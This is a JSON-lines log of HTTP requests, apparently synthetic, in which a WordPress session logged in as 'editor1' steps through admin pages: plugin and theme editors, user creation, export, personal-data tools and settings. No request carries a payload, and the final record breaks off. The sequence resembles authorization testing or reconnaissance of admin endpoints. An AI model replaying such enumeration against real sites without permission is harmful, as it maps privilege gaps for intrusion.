{"method": "GET", "target": "/?customize_changeset_uuid=45b3ef42-f34c-4dde-bde2-41c27b05accf&customize_theme=twentytwentyfive&customize_messenger_channel=preview-0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203172"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203172"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?plugin_status=inactive", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203173"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203174"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=popular", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203175"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=contact+form&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203178"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203180"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,code-editor,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-poi&load%5Bchunk_1%5D=nter,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203184"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils,wp-codemirror,underscore&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203184"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=akismet%2Fakismet.php&file=akismet%2Fakismet.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203184"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=akismet%2Fclass.akismet.php&plugin=akismet%2Fakismet.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203185"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203186"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-editor.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203188"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203189"], "body": ""}
{"method": "GET", "target": "/wp-admin/user-new.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203190"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils,zxcvbn-async&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/user-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203191"], "body": ""}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203193.0920450687408447265625", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "GET", "target": "/wp-admin/profile.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203191"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=editor&action=-1&new_role&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203192"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203194"], "body": ""}
{"method": "GET", "target": "/wp-admin/import.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203195"], "body": ""}
{"method": "GET", "target": "/wp-admin/export.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203196"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/types/post?context=edit", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "X-WP-Nonce: b40ef802e6", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP Cookie check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203197; wp-settings-1=", "Connection: close"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-health.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203197"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-site-health/v1/tests/dotorg-communication?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: b40ef802e6", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Referer: http://blog.example/wp-admin/site-health.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203198"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-health.php?tab=debug", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203198"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-site-health/v1/directory-sizes", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: b40ef802e6", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Referer: http://blog.example/wp-admin/site-health.php?tab=debug", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203198"], "body": ""}
{"method": "GET", "target": "/wp-admin/export-personal-data.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203198"], "body": ""}
{"method": "GET", "target": "/wp-admin/erase-personal-data.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203200"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203201"], "body": 